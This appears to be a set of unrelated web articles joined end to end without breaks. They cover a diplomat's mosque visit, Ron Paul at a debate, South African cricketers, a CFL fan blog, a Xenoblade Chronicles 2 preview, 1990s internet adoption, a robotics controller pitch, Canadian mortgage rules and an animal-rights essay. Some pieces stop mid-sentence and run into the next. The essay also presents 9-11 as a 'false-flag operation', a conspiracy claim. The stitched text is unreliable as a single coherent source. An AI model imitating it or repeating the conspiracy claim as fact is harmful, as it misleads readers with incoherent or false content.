Artur Wilczynski, who is the Canadian Ambassador to Norway was welcomed to Bait-un-Nasr Mosque in Oslo, Norway by members of the local Ahmadiyya Muslim Community. Built in 2011, it is the largest mosque among Scandinavian nations.
Wilczynski, who was born in Poland is one of the first openly Gay Canadian diplomats. He was appointed as Canadian Ambassador to Norway in 2014. Prior to this, he was the Director General of Canada’s International Security and Intelligence Bureau at the Department of Foreign Affairs where his responsibilities included counter-terrorism, combating transnational organized crime, human smuggling, and international defense relations.
Ambassador Wilczynski said it was an honor to visit the Mosque and learn about the work done by the Ahmadiyya Community in Norway. The Mosque congregation presented him with a copy of the Quran (Muslim holy book) and thanked him for his visit. Traditionally, the Ahmadis have always welcomed members of different communities to their Mosques.
In June, when a gunman open fired on a gay bar in Orlando, USA, members of the Ahmadiyya Muslim Community came together to pray for victims and invited members of the LGBT community to join the prayer vigil.Everybody hates Ron Paul again
Not exactly, but you could be forgiven for having a flashback or two this evening to 2007 – when beating up on Ron Paul was a favorite crowd-pleaser on GOP debate nights.
Paul cued up his opponents nicely in Myrtle Beach Monday, when he gave a meandering explanation of his views on the hunting of Osama bin Laden, and likened the dead terrorist to a Chinese dissident in the process of making a larger point.
Newt Gingrich responded by serving up the red meat the crowd wanted.
“He’s not a Chinese dissident. The analogy that Congressman Paul used was utterly irrational,” Gingrich said. “A Chinese dissident who comes here seeking freedom is not the same as a terrorist who comes to Pakistan seeking asylum.”
Romney used his next answer to join in the fun: “The right thing for Osama bin Laden was the bullet in the head that he received.”
Paul has a powerful enough constituency this cycle that it’s not quite as easy to just lampoon him on stage, as opponents such as Rudy Giuliani did during the last campaign. But his views on foreign policy are still well outside the Republican mainstream and continue to make him a ripe target.President Trump is dining Wednesday evening with Fox News host Sean Hannity and former Fox News executive Bill Shine, according to a report.
The trio will also be joined by Anthony Scaramucci, the incoming White House communications director, who taped an interview with Hannity earlier in the day, which will air tonight at 10 p.m. ET. The dinner was reported in a tweet by Ryan Lizza, Washington correspondent for the New Yorker, citing two sources.
Scoop: Trump is dining tonight w/Sean Hannnity, Bill Shine (former Fox News executive), & Anthony Scaramucci, per to 2 knowledgeable sources — Ryan Lizza (@RyanLizza) July 26, 2017
Hannity is a staunch supporter of Trump, and recently nabbed an interview with the president's son, Donald Trump Jr., immediately after it was reported that he had a meeting last year with a Kremlin-linked lawyer who promised dirt on Hillary Clinton.
Shine resigned as co-president of Fox News in May, amid a potential shakeup Fox News following sexual harassment claims against now-former CEO Roger Ailes and former anchor Bill O'Reilly.
Fox News is one of Trump's preferred news outlets, complimenting shows like "Fox and Friends," while he assails CNN and New York Times as "fake news."Image copyright Getty Images Image caption Kagiso Rabada (right) congratulates Temba Bavuma during the second Test match against England in January
South Africa may have lost their prestigious summer series against England but the disappointment has been assuaged to some degree by the emergence of Kagiso Rabada and Temba Bavuma as two cricketers who represent the future of the game in this country in more ways than one.
While many would like to dismiss their race as being irrelevant, the fact that the pair are black African is significant in that they have laid the platform to become key members of the Proteas side at a time when greater representivity of the country's majority, particularly in high-profile sports like rugby and cricket, have come under close government scrutiny.
The 20-year-old Rabada, whose best match figures of 13/144 places him second only to Makhaya Ntini's national record of 13/132 in Test matches, became the youngest South African to take 10 wickets in a Test (regarded as the bowler's equivalent of scoring a century).
He finished as the series' leading wicket-taker, despite missing selection for the first Test.
Bavuma, 25, became the first black African to score a Test century for South Africa when he made a polished unbeaten 102 in the second Test in his birthplace of Cape Town, and ended the series as South Africa's third highest run-scorer ahead of several more experienced teammates.
The pair's performances could not have come at a more opportune time for South African cricket, which is in transition.
Having lost world class stars like former captain Graeme Smith, all-rounder Jacques Kallis, widely regarded as one of the best ever to have played the game, and wicket keeper Mark Boucher, the Proteas' rebuilding phase coincides with calls for greater representation of the country's black majority in the national team.
"It's not about me making my debut, it's about being a role model - an inspiration for other kids... black African kids"
Temba Bavuma
A disgruntled group using the title Black Cricketers in Unity wrote to Cricket South Africa (CSA) in November 2014 to highlight concerns over their treatment in national squads, claiming they were mostly being used as drinks carriers.
The group also questioned CSA's commitment to addressing the legacy of apartheid's racial divisions and inequalities.
"The biggest issue black African players have is that they want to be picked for the right reasons. Then once picked, they want to be given a proper opportunity," they wrote.
"The selectors and the coach have to start taking responsibility."
Image copyright AFP Image caption Rabada becomes the youngest South African to take 10 wickets in a test match
From the excerpt, it is clear that black African players want to be selected on merit rather than as tokens, and when they are selected, they want to be given a decent chance to prove themselves instead of being set up for failure.
CSA confirmed their transformation policy to parliament last year, which said that at least four black players, one of whom would be black African, are to be included in future national teams.
When race is part of the debate in South African sport, the issue of quotas is almost inevitably central to the discussion.
In this country, there is still a widespread belief among sceptics that when black players are called up for national duty it's because there are quotas to be met, rather than looking at the individual's potential and ability.
'Pressure on colour players'
And when the team loses, quotas (read: Black players) are inevitably made the scapegoat.
But there were no such doubts about Rabada and Bavuma, who both earned their selection.
Rabada was Player of the Tournament at the 2014 Under-19 World Cup, won by South Africa, together with consistent performances for his franchise.
Image copyright AFP Image caption Bavuma becomes the first black African to score a test century for South Africa
Bavuma is a reliable source of runs in the local first-class game, as well as delivering the goods for the South Africa A side, including a top score of 162 against their Australian counterparts in August 2014.
The world class performances of players so new to the set up was not only a triumph on the field against top quality opposition but they also showed great mental strength to silence their doubters, of whom there were many.
Kevin Pietersen, the former South African who left for England in 2000 blaming the quota system, is probably still wiping the egg off his face.
He told an Australian newspaper before the Boxing Day Test in Durban: "I don't know who that kid is who bats six, [Temba] Bavuma.
"I don't know why he's batting in that line-up, when I saw some of the players who are playing in the Ram Slam [South Africa's domestic T20 competition] recently."
Unsung heroes
Former captain Hashim Amla, upon complimenting Bavuma's outstanding performances, alluded to the hurdles black players have to overcome when first coming into the team.
"Personally, I know the pressure that players of colour go through when they first come into the set up.
"We both have very similar careers - the first time we do play international cricket, everyone doubts you. Either because of the colour of your skin, even though you've got the stats to back it up domestically, everybody doubts you for various reasons."
The performances of Rabada and Bavuma have earned widespread praise and they both now serve as important role models to the thousands of aspirant black cricketers seeking to emulate them.
Image copyright Getty Images Image caption Ntini, the country's third highest wicket taker, played his last Test match in December 2009
Their emergence also comes at a time when there was a worrying absence of a regular and key black African presence in the team following the retirement of Ntini, the country's third highest wicket taker, who played the last of his 101 Test matches in December 2009.
"When I made my debut for South Africa [in December 2014] I came to be a bit more aware and realise the significance behind it all. It's not about me making my debut, it's about being a role model - an inspiration for other kids... black African kids," Bavuma said.
Achieving the milestone of becoming the first black South African to make a century for his country will strengthen that example.
"I understand the significance but I'm struggling to find the words," Bavuma added, reflecting on his magnificent achievement.
Long way to go
The feats of Bavuma and Rabada should not really come as a surprise to those who are aware of the rich history of black African cricket in South Africa.
Contrary to misguided popular belief, the game of cricket is not a recent introduction to their community.
Andre Odendaal, in his seminal Story of an African Game, records that cricket was first played in black mission schools in the Eastern Cape in the 1850s and 1860s.
And along the way there were many unsung heroes, including the legendary Frank Roro whose prolific run-scoring in the 1930s and 40s earned him the nickname "the Dusty Bradman", in a nod to the legendary Australian regarded as the game's all-time best.
Image copyright AFP Image caption The South African team is dominated by white players
There was also all-rounder Ben Malamba, who was an integral part of Basil d'Oliveira's SA Cricket of Board of Control (Sacboc) team, which beat the Kenya Asians side on their historic tour to East Africa in 1958.
While Rabada and Bavuma have made a major breakthrough in South Africa's still racially divided society, the numbers are still a cause for concern, as only seven of the 91 players selected since readmission to international cricket in 1992 are black Africans.
Of that compliment only Ntini was a regular.
At a time when South Africa is battling with a resurgence of incidents of rabid racism, the issue of racial quotas in sport is still an elephant in the room, but the more emerging youngsters like Rabada and Bavuma continue to deliver on the highest stage, the sooner quotas will be seen as a relic of the past.When bad CFL fans, of good and bad teams, have a losing year or a long losing skid, they lash out at others to inflate their self-esteem and take the victors down a couple of notches. Good CFL fans are happy win or lose.
How Only Four Grey Cups in Team History Is Such a Source Of Pride
The non-green often bark at the idea that the average Saskatchewan Roughriders fan is overflowing with pride over their four Grey Cup triumphs. Often non-Rider fans wonder to themselves, and in public, how can only four Grey Cups in team history be such a source of pride? I gather that they compare their rings in juxtaposition to cities with multiples like Toronto, Winnipeg, or Edmonton. Well I have breaking news on the topic.
Actually, to tell you the truth, I don’t. I just find it amusing to participate in the rampant over-use of the phrase “breaking news”. I’m not absolutely positive why there is pride, from such a large group of people. However, if Scooby Doo and the gang want to dig up answers to these and other mighty puzzling questions, I’d start by asking in cities far West like Victoria.
“Like, it’s just a hunch Scoob'”, but I’d keep searching for clues in Nanaimo, Courtney/Comox, Prince George, Vernon, Chilliwack, Kamloops, Kelowna, Lethbridge, Medicine Hat, Red Deer, Grande Prairie, Wood Buffalo, Saskatoon, Brandon, Thunder Bay, Barrie, Sudbury, Kingston, Brantford, Guelph, Kitchener/Waterloo, Sarnia, London, Peterborough, Belleville, St. Catharines, North Bay, Norfolk, Cornwall, Kawartha Lakes, Chatham-Kent, Windsor, Oshawa, Sault Ste. Marie, Granby, Quebec City, Rimouski, Shawinigan, Saint-Hyacinthe, Saint Jean-sur-Richelieu, Trois Rivières, Drummondville, Saguenay, Sherbrooke, Moncton, Fredericton, St. John, Halifax, Cape Breton, St. John’s, and Charlottetown. Some of you might be questioning me right now or thinking I’m being a smart one. I am being a bit of a smart one but don’t question my frustrated reasoning here.
It still doesn’t make sense! Let’s set the record straight. The provincially-named teams in Vancouver and Regina belong to those cities. Yes, of course a Saskatoonian and a Victorian are well within their rights to consider the Riders and Lions their own. I won’t argue that. But don’t get it twisted. These clubs belong in, and to, Vancouver and Regina for all intents and purposes.
Math Time
Out of all the 54 Canadian cities I listed that have over 50,000 people, there are three Grey Cups: two in Sarnia and one in Saint-Hyacinthe. That doesn’t include all the population bases under 50,000 people. Zoinks! That’s, like, well over 17 million Canadians living in towns or cities with three Grey Cups to share, Scoob, old-buddy, old-pal. That’s half the country!
Don’t bother looking down south for too long. Only the 700,000 of metro Baltimore, Maryland have watched theirs sip sweet nectar out of the Grey Cup. There’s another 360 million people that will just have to go through life without knowing what it’s like to party in the street for a week to eventually watch your team pound another in the Grey Cup game and come out rosy.
What’s A Scooby Doo Mystery Without Food?
People get hungry for these trophies and the people of Saskatchewan have been well fed as of late. When I’m hungry, I like to eat. How about you, Winnipeg? Hungry, Ottawa? Want a little nibble, Hamilton? We all love our history but sports aren’t really about the past for true fans. No one gives a hoot about the record number of Stanley Cups in Montreal at this point of the current drought. Nope. Sports fans know it’s always about the present and the future.
An Eskimos fan right now might be feeling pretty full despite the gutting of the staff. Even Calgary. Both just had a good meal and they’ve got their eyes on a tasty feast in 2016. If I’m a fan of any other team, I’m going to keep sniffing for clues. Maybe when I solve the mystery, I’ll realize how the answer has been right under my nose the whole time!
Good CFL Fans Are Happy Win Or Lose
The simplest explanation is, your victories matter to you and my victories matter to me. We all celebrate the wins instead of dwelling on the losses. I now know the reason that good CFL fans of the other teams have a tough time finding the source of pride for Rider fans over a measly four Grey Cups.
A big part of my conclusion is a riddle left for each of us to decipher where the answer is actually a question. That question is — what have you done for me lately? I hate going back even just ten years in history to 2006, but six clubs have won the Grey Cup. Twice in those ten years it was the Saskatchewan Roughriders. Never wonder again!
Main Photo.Fantasy-based role-playing games typically transport you across several massive, sprawling locales, but even going in with that expectation, I was taken aback by the sheer scale of what I played of Xenoblade Chronicles 2.
Those who weren't fans of Xenoblade Chronicles X on Wii U should find peace of mind in the direction of this entry, as several elements look like it's veering closer to the original Xenoblade Chronicles. Not only are the Skells nowhere to be found, but the game is more story focused and the combat is more based on combos.
In Xenoblade Chronicles 2, the world is completely covered in water. The only inhabitable locations for oxygen-breathing organisms are massive titans that float atop the liquid. My gameplay session drops me into the belly of one of these titans. Though I have a mission waypoint, I decide to explore a bit. I control the main character, Rex, who is traveling with Nia and Tora, a cute nopon. Each character is accompanied by personified weapons called blades. Pyra is a fiery redhead who is my equipped blade when I enter the demo. As I approach my first battle, I learn that it's crucial to swap between my blades if I want to be successful against tougher enemies.
Unless you're moving your character during battles, Rex auto-attacks. All you have to do is worry about your positioning and manage your blades. Though Pyra deals great fire damage, she can only carry on for so long before needing to let her abilities recharge. Once I've exhausted all of her abilities, I swap her out for Kisaragi, an ice-based blade. Each blade features different special abilities called arts that operate on cooldowns. Kisaragi has my favorite art of Rex's three blades, as the icy weapon can launch targets into the air, allowing the party to combo it.
Battles in Xenoblade Chronicles 2 are fun and engaging; even though Rex auto-attacks, managing your positioning, blades, and arts is satisfying when you combo them just right. The most exciting moments came as my party gauge filled up and I began chaining attacks together. Stringing together attacks proved most satisfying as I churned through several lengthy battles.
The belly of the titan I'm exploring is massive and downright beautiful. As Rex, I run, jump, and swim from one corner of the map to a decent-sized town. As I approach the ramp that leads to the town, I opt to help out a group of mercenaries who are in over their heads with a group of baddies. I intervene, taking them out in swift fashion. Afterwards, the guys I helped tell me they are going to keep training and will one day be powerful enough to be of worth, which I feel is like a hint that my helping them could come back to help me in the future. I enter the town, climb many stairs to the highest point, and gaze out upon the world I just traversed. The vista is impressive, and gives me a great feeling of just how enormous this world is. Despite how massive it looks and feels, it's only a portion of one titan in the game.
For many RPG-loving Switch owners, Xenoblade Chronicles 2 is the title they've been dying to get their hands on ever since its initial announcement in January. If what I played is any indication, players will have plenty of sights to see when the game launches on Switch later this year.It Was Twenty(-odd) Years Ago Today When The Internet Looked Much Different Than It Does Now
from the time-machine dept
Last week, Mike and I were at a conference celebrating the 20th anniversary of the Supreme Court decision in Reno v. ACLU, a seminal case that declared that the First Amendment applied online. What makes the case so worth a conference celebrating it is not just what it meant as a legal matter – it's a significant step forward in First Amendment jurisprudence – but also what it meant as a practical matter. This decision was hugely important in allowing the internet to develop into what it is today, and that evolution may not be something we adequately appreciate. It's easy to forget and pretend the internet we know today was always a ubiquitous presence, but that wasn't always so, and it wasn't so back then. Indeed, it's quite striking just how much has changed in just two decades.
So this seemed like a good occasion to look back at how things were then. The attached paper is a re-publication of the honors thesis I wrote in 1996 as a senior at the University of California at Berkeley. As the title indicates, it was designed to study internet adoption among my fellow students, who had not yet all started using it. Even those who had were largely dependent on the University to provide them their access, and that access had only recently started to be offered on any significant a campus-wide basis. And not all of the people who had started using the internet found it to be something their lives necessarily needed. (For instance, when asked if they would continue to use the internet after the University no longer provided their access, a notable number of people said no.) This study tried to look at what influences or reasons the decision to use, or not use, the internet pivoted upon.
I do of course have some pause, now a few decades further into my career, calling attention to work I did as a stressed-out undergraduate. However, I still decided to dig it up and publish it, because there aren't many snapshots documenting internet usage from that time. And that's a problem, because it's important to understand how the internet transitioned from being an esoteric technology used only by some into a much more pervasive one seemingly used by nearly everyone, and why that change happened, especially if we want to understand how it will continue to change, and how we might want to shape that change. All too often it seems tech policy is made with too little serious consideration of the sociology behind how people use the internet – the human decisions internet usage represents – and it really needs to be part of the conversation more. Hopefully studies like this one can help with that.
Filed Under: cda 230, first amendment, free speech, history, intermediary liability, reno v. acluInjustice collectors tend to leave explanations. They demand to be heard. Before his Facebook manifesto, and two days before his rampage, Christopher Dorner sent CNN’s Anderson Cooper a DVD outlining his grievances. That same year, 2013, Jennifer Jakeman Cooper studied a small group of serial, spree, and mass killers who left would-be manifestos. Most of the texts were rambling, repetitive, and disorganized. The collectors' grievances can typically be lined up beside a corresponding paper trail documenting that he, in fact, was the problem. WDBJ management began filling Flanagan's employee file with examples in 2012. “On three separate occasions in the past month and a half you have behaved in a manner that has resulted in on [sic] or more of your co-workers feeling threatened or uncomfortable,” one memo stated. It was written by the news director just two months into Flanagan's tenure. Other memos chided him for aggressive behavior and "misinterpreting" what his co-workers did and said. He'd previously been fired from a Tallahassee station for "misbehavior " against co-workers.
In literature, we'd call collectors like this an unreliable narrator of their own story, including their suicide.
In literature, we'd call collectors like this an unreliable narrator of their own story, including their suicide. "Even my cats died because of [the station]," Flanagan’s suicide letter said—a statement that even Dr. O'Toole, who has faced down countless murderers and serial killers, was taken aback by. I discussed Flanagan with her and other experts on mass killers this weekend. "That failure to take responsibility for his actions!" O'Toole said. He |
on lyrics constructed of corporate jargon, like “operationalize our strategies” and “leverage our core competencies,” while the animated whiteboard video by TruScribe depicts a live-action hand that is drawing illustrations to go with the words.
“I wanted to do a song about all the ridiculous double-speak and meaningless buzzwords that I’ve been hearing in office environments my entire life,” Yankovic says by e-mail. “I just thought it would be ironic to juxtapose that with the song stylings of CSN, whose music pretty much symbolizes the antithesis of corporate America.”
Read more and watch the video after the jump.About
Our vision is to prepare and motivate next generations of researchers, engineers, and scientists using robotics.
- Dr. Gottfried Koppensteiner, COO of PRIA
Hedgehog
We developed Hedgehog to be simple, flexible and affordable. The Hedgehog Educational Robotics Controller is the centerpiece of this platform, that you combine with your smartphone or computer. Its simplicity makes it suitable for beginners, and Hedgehog is powerful enough to grow with your needs.
Who are we?
We are the Practical Robotics Institute Austria (PRIA) located in Vienna, Austria. We are an independent non-profit organization with the aim to promote scientific and technical excellence in schools. To do so, we use robotics in education and various research projects, where we involve students with exciting scientific and engineering topics.
What makes the difference?
Most robotics controllers on the market are „black boxes“: You can't see what's inside, and how the thing works. That's okay for beginners, but if you hit a limit, there's not much you can do. Hedgehog is not like that: from case to software, the controller is open for you to explore and tinker with. Another key differentiator to other robotics platforms is the closely integrated debugging functionality: from within the Hedgehog app, you are able to manually pause the execution of your program, set breakpoints and take a look at current variable values. Whether you want a controller that just works, or customize every last part, whether you’re a beginner or a pro: Hedgehog is for you!
The Hedgehog Educational Robotics Controller
How does it work?
Program: Apps The Hedgehog apps on mobile devices, as well as the desktop IDE, connect to the controller via WiFi. You can develop programs in these apps and easily download them to the controller. The Hedgehog app can also be used for controlling motors and sensors directly in an intuitive graphical user interface and shows a debugging screen while running the program.
The Hedgehog apps on mobile devices, as well as the desktop IDE, connect to the controller via WiFi. You can develop programs in these apps and easily download them to the controller. The Hedgehog app can also be used for controlling motors and sensors directly in an intuitive graphical user interface and shows a debugging screen while running the program. Compile: Software Controller We use a Raspberry Pi Model A+ for compiling and running your programs. Besides that, you have access to the full potential of the Raspberry for other programming languages and tasks. We provide libraries for the Raspberry Pi in C and Python. But you're not bound to a Raspberry Pi: all a software controller really needs is UART – and almost all computers and microcontrollers have access to that.
We use a Raspberry Pi Model A+ for compiling and running your programs. Besides that, you have access to the full potential of the Raspberry for other programming languages and tasks. We provide libraries for the Raspberry Pi in C and Python. But you're not bound to a Raspberry Pi: all a software controller really needs is UART – and almost all computers and microcontrollers have access to that. Execute: Hardware Controller The hardware supports up to 16 analog sensors, 16 digital sensors, 6 motors and 6 servo-motors. You can even use smartphone sensors, like the built-in cameras, gyroscope, and accelerometer over WiFi. The USB, HDMI and audio connectors of the Raspberry Pi are also accessible. The controller is powered by a 2100mAh NiMH battery to provide long run times.
Hedgehog structure in different configurations
Individualization
Write your own custom mobile or desktop apps. We provide the APIs for the Hedgehog controller.
Use a mobile device of your choice.
Switch out the software controller. You prefer Arduino or the Banana Pi? Go for it!
Design your own case according to your special needs and your taste. We provide the files for the original case.
Use the programming language you prefer
Customize your Hedgehog experience with your own apps
Why mobile devices?
If you have a smartphone, you are in good company. Most people today have smartphones, so why not use them for new exciting stuff! We’ve set ourselves the goal to provide an intuitive and handy user experience for the Hedgehog Controller. Since robots tend to move a lot, we decided for a remote user interface – an app on the smartphone or similar devices – instead of an integrated display. Smartphones provide a rich user interface via touch screen, internet access as well as a variety of built-in sensors that can even be used as part of the robot or for remote controlling it. All these features open up a wide area of applications in and beyond education. These benefits make Hedgehog a worthwhile long term investment.
Use your mobile device to program and control self-built robots
Hardware Specifications
Hardware Controller
Microcontroller: STM32F3Discovery from STMicroelectronics
WiFi Board: WizFi 210 from WizNet
16 analog sensor ports including configurable pull-up resistors
16 digital sensor ports
6 motor ports, compatible with 2-pin DC motors (8V, max 1A)
6 servo ports, PWM controlled (5V, total max 5A short term, 3A long term)
Charging: power jack input: 15V, min 450mA
Battery management unit
1 free UART port for custom extensions
Digital & Analog Sensor Ports
Software Controller
Raspberry PI Model A+
Interface to Hardware Controller via UART at 115200 baudrate
Servo & Motor Ports, and Software Controller
Misc
2100 mAh NiMH rechargeable battery
Plexiglas Case (laser cuttable, engraved, LEGO® compatible hole spacing)
Side View with the Battery on the Bottom
Where are we at in the project?
At the moment, we have several working prototypes: We can deliver the controller as seen in the promotion video. The Hedgehog app will run on both Android and iOS platforms.
Over-funding Goals
€15,000 Set up a platform, where developers can discuss the Hedgehog robotics platform and exchange ideas, code and other files.
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The Hedgehog shirt (Men: S - 3XL, Women: S - 3XL)Starting Monday, house hunters will face new rules requiring larger down payments on homes that are listed above $500,000. The changes are expected to have an impact on key real estate markets, but to what extent is up for debate.
“The increase will raise the bar to homeownership quite materially in Vancouver and Toronto,” housing experts at RBC Economics say. “Especially for first-time buyers.”
Announced in December by Finance Minister Bill Morneau, the minimum amount a buyer will have to put down on a home worth half a million dollars or more will increase from 5 per cent of the price to a blended, higher rate: 5 per cent down on the first $500,000, and 10 per cent down on any dollar value above that amount.
Let’s use the example of a $700,000 home. Under the (soon to be old) 5 per cent rule, a buyer would need $35,000 down to qualify for an insured mortgage loan.
On Feb. 15, the new minimum on that same home will jump to $45,000 or an additional $10,000.
The change is the federal government’s first move to cool the housing market since 2012, and is specifically aimed at levelling off sharp price jumps in two centres: Vancouver and Toronto (see chart below).
MORE: Latest coverage — The Great Canadian Housing Boom
By targeting higher-priced homes, the majority of the country’s real estate markets won’t see much of an impact, it’s believed.
“Rather than a blunt instrument, this is a targeted measure designed to deter a very small segment of buyers from stretching into the market with a very low equity position,” BMO economist Robert Kavcic says.
The current tightening manoeuvre is “a less aggressive move than those brought in back in 2012,” said Kavcic, who believes the change will have a minimal impact, even on its intended geographic targets.
There will nevertheless be some disruption. Here’s a look at how the new rules will affect homebuyers across the country.
More bad news for Alberta
Alberta cannot catch a break. Already pressured centres like Calgary and Edmonton will feel additional strain from the new rules, experts say.
Average prices in Calgary currently hover just under the half-million dollar mark, meaning “a good portion [of homes] in that already-stressed market will be within the targeted range,” Kavcic said.
Seven in ten new single-family homes sold in Calgary last year were priced above $500,000, according to the Canadian Association of Home Builders. Edmonton will feel the impact too, with more than two thirds of new homes sold in the city last year priced above half a million bucks.
“It’s unfortunate that Alberta home buyers are forced to pay the price for what are seen as problems in other parts of Canada.”
MORE: Alberta bears brunt of January job losses as oil rout cuts across economy
With household incomes already feeling the repercussions of relentless job cuts, bigger down payments are the last thing builders, agents and buyers and sellers want to see.
“It’s unfortunate that Alberta home buyers are forced to pay the price for what are seen as problems in other parts of Canada,” the province’s builder group said.
First-time buyers
Homeowners who are “moving up” to a bigger or more expensive property likely won’t feel the hit of the rule changes, experts say. That’s because they can leverage the proceeds from the sale of their existing home which will more than likely provide a more than sufficient down payment on the next property.
The added requirements will, however, price a larger percentage of first-time buyers out of the market. The changes will also motivate more to seek additional sources to borrow money from.
“First-time buyers at the margin who don’t quite meet the new down payment requirements could be forced to move down the price spectrum, defer purchases or find alternative financing for the bigger down payment – mom? Dad?” Kavcic said.
“Borrowers have increasingly been relying on less regulated non-banks and private lenders, or so-called shadow banking,” Derek Burleton, deputy chief economist at TD Bank said. “Further regulation may only push first-time homebuyer activity to these lenders.”
Shadow lenders don’t have the same stringent lending standards as traditional lenders like banks and credit unions, which could lead some borrowers to take on a riskier amount of debt, experts say.
MORE: The least affordable places to live in Canada are…
Hot markets
As for the country’s two most exuberant housing markets, the effects of the rule changes coming into force next week will either be fleeting and small or “material,” depending on which expert you ask.
In Vancouver, a first-time buyer of an average priced home will have to pony up an additional $22,000 – or 47 per cent more – to get over the hump of the new bare minimum of $69,000. In Toronto, the minimum to qualify for a mortgage on an average home in the city — now north of $625,000 — will rise by a fifth to $38,000, RBC economist Robert Hogue said.
Those calculations are based on the Canadian Real Estate Association’s latest data from December – prices in both cities have climbed since.
“We believe that the change announced [Dec. 11] will have a non-trivial impact on high-priced markets,” the RBC senior economist said.
TD’s Burleton disagrees. “Home price growth in Toronto and Vancouver has been the result of tight supply conditions, in the wake of strong demand. These rules don’t help alleviate supply-related pressures.”
MORE: House prices in Vancouver, Toronto are accelerating at ‘dramatic’ rate
The TD economist said buyers of pricier homes have been conditioned to have larger down payments because of past rounds of mortgage-tightening rules by Ottawa. Most purchasers in Toronto or Vancouver simply come ready to put down 20 per cent or more.
“Hot markets in Ontario and B.C. are being driven by purchasers with larger down payments, whether it be millennials getting help from their parents, move-up buyers or domestic [or] foreign buyers,” Burleton said.
The “bigger picture fundamentals” driving home price gains in Toronto and Vancouver — restricted supply of detached homes, demographic demand, low mortgage rates and inflows of foreign wealth — “remain firmly in place,” BMO’s Kavcic said.What is slavery, and why does it persist? Human slavery—the ownership of other human beings as property for one’s own purposes—is so repugnant to us that it has been strictly outlawed in every nation on this planet. And yet only 160 years ago here in the U.S. slavery was still widely practiced, justified, defended, and encouraged by mainstream religious, educational, governmental, and financial institutions. Looking back, we see this slavery as the devastating nightmare that, as Frederick Douglass often said, not only dehumanized the black slaves by reducing them to mere property, but also dehumanized the white owners by bringing out the worst in them, as they routinely shipped, branded, tortured, and beat their slaves into submission and confinement, raped them for valuable offspring, broke up their families, bought and sold their children, and overworked and exploited them for their own ends.
Driven by the abolitionist efforts of William Lloyd Garrison, Frederick Douglass, Harriet Beecher Stowe, John Brown, Elijah Lovejoy, Angelina Grimke, and many others, a terrible fratricidal war was eventually fought over this issue of slavery, culminating in Lincoln’s Emancipation Proclamation, and the subsequent passage of the Thirteenth Amendment to the Constitution. This outlawed involuntary servitude, and, in theory at least, freed over four million black slaves directly, and indirectly freed the white owners from the role of perpetrating relentless cruelty against other people because of the unjust social system they had been born into.
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And yet today slavery persists in two forms. First, while de jure, or legal, slavery no longer exists, de facto slavery unfortunately not only persists but in many places thrives. It is well-recognized that human trafficking and black market slavery for workers—in prostitution and domestic worker rings, as well as in factories and agriculture—is so well-established that slavery is actually more widespread today than when it was practiced openly in the 19th century. Tyrannical governments, corporations, religions, and other organizations can also enslave us, as well as unhealthy relationships.
The second form of slavery is animal slavery. In just the U.S. alone, over nine billion animals enslaved on factory farms and family farms are killed for food and leather annually, as well as untold billions of fishes in aquaculture operations. Beyond the meat, dairy, and egg industries, many millions more animals are enslaved in breeding operations (such as dogs, birds, and horses), as well as in zoos, circuses, research and testing facilities, and for other products such as feathers, wool, and silk. The scope of animal slavery today is so vast that it is seemingly beyond human conception, involving billions of animals used for an almost limitless variety of products and services, and inflicting a relentless avalanche of depravity and cruelty on these animals who are seen as property objects existing merely to give us more milk, more offspring, more products, and more profits.
This animal slavery is more deeply entwined and ingrained into the fabric of our culture than human slavery, and it is this underlying pervasive and invisible violence of animal slavery that conditions our minds, feelings, and behavior to create a human society that mirrors the injustice and cruelty we routinely inflict on the animals we own. Historically, human slavery followed on the heels of animal slavery, and by stealing the sovereignty of animals, we historically created precisely the mindset of reductionism, domination, privilege, and disconnectedness that has led to and continues to generate slavery and injustice in our human society. How can we ever expect to create a society of freedom, equality, and harmony among humans when we routinely and heedlessly inflict the opposite on other living beings on such a large scale?
It is fascinating to see how difficult it is for even apparently conscious people to articulate this basic connection between animal slavery and human slavery. It is obvious that a creeping tyranny is spreading in our culture, under the guise of fighting terrorism and fortifying domestic security, and we find our privacy and rights eroded by the powerful forces that make up the military-industrial-meat-medical-pharmaceutical-media complex. And yet few seem to be discussing this or connecting the dots between animal and human slavery and tyranny, no matter where they are on the cultural spectrum. Progressives and people on the left, like Noam Chomsky, Amy Goodman, Michael Moore, and Bill McKibben, conservatives and those on the right like George Will, Karl Rove, Rush Limbaugh, and Bill O’Neill, popular spiritual teachers like Eckhart Tolle, Marianne Williamson, Deepak Chopra, and Wayne Dyer, and even the more radical truth-tellers who work to expose the continuing infliction of false-flag operations such as 9-11 and other so-called terrorist events, people like David Icke, Mike Adams, Rina Labow, Alex Jones, and Jesse Ventura: all seem completely unable to get to this root of the hydra-headed problems of inequity, war, unsustainability, and loss of freedom.
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As long as we enslave animals, we will enslave each other. In fact, it is only because we are significantly enslaved already that we imprison animals in such vast gulags. Free people would never do this or allow it to happen. It is not difficult to see why this is so, because it is a universal principle. As we sow, we reap. And what we reap, it seems we tend to sow again.
All the institutions in our culture systematically hide this truth from us. We are taught from every angle that it is our right to own, eat, and use animals, and we are ritually injected with the cultural view that animals are so inferior to us that their interests are insignificant compared to ours. Even in religion, the cultural repository of spiritual and ethical wisdom, we are taught that paradise is a land of milk and honey, that Jesus is a good shepherd, and in the ancient Vedas of India, we have cow’s milk elevated to the status of a sacred food for humans. And yet shepherding and herding are activities of dominating and exploiting animals as property objects with the end being to kill them without mercy for food and profit. (This gives another twist to the “good shepherd” archetype!) It absolutely requires stealing animals’ sovereignty and their inherent purposes, and reducing them in legal systems to property status. Our culture today, for all its technical gadgetry, is still at its core a herding culture that defines itself and everyone in it by the pervasive practice of enslaving animals for food and products.
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Thus while it certainly matters how animals are treated in their imprisoned state, the most fundamental and serious transgression we commit against them is stealing their sovereignty. Our essential violence is the act of believing and acting as we if we own them as property, and overpowering and imprisoning them for our own ends. We all know this in our bones. Imprisonment is a severe punishment. If we are forced to live the remainder of our lives in physical confinement, completely dominated in a system from which there is no escape, it is certainly less miserable if we are not forced to experience the additional pain of having our body tortured by mutilations, rapings, mandatory vaccinations, and extreme heat, cold, and confinement. But it is the confinement and stealing of sovereignty that is the primary and the greatest cruelty. It is stealing the one thing we have: our life, our time, and our freedom to explore and experience our lives. The ongoing cruelty we inflict on animals is not just the hot cruelty of shock prods, branding irons, rape racks, iron bars, and sharp throat-cutting knives. It is more significantly the cold relentless cruelty of being reduced to an object forced into dependency and deprived of freedom.
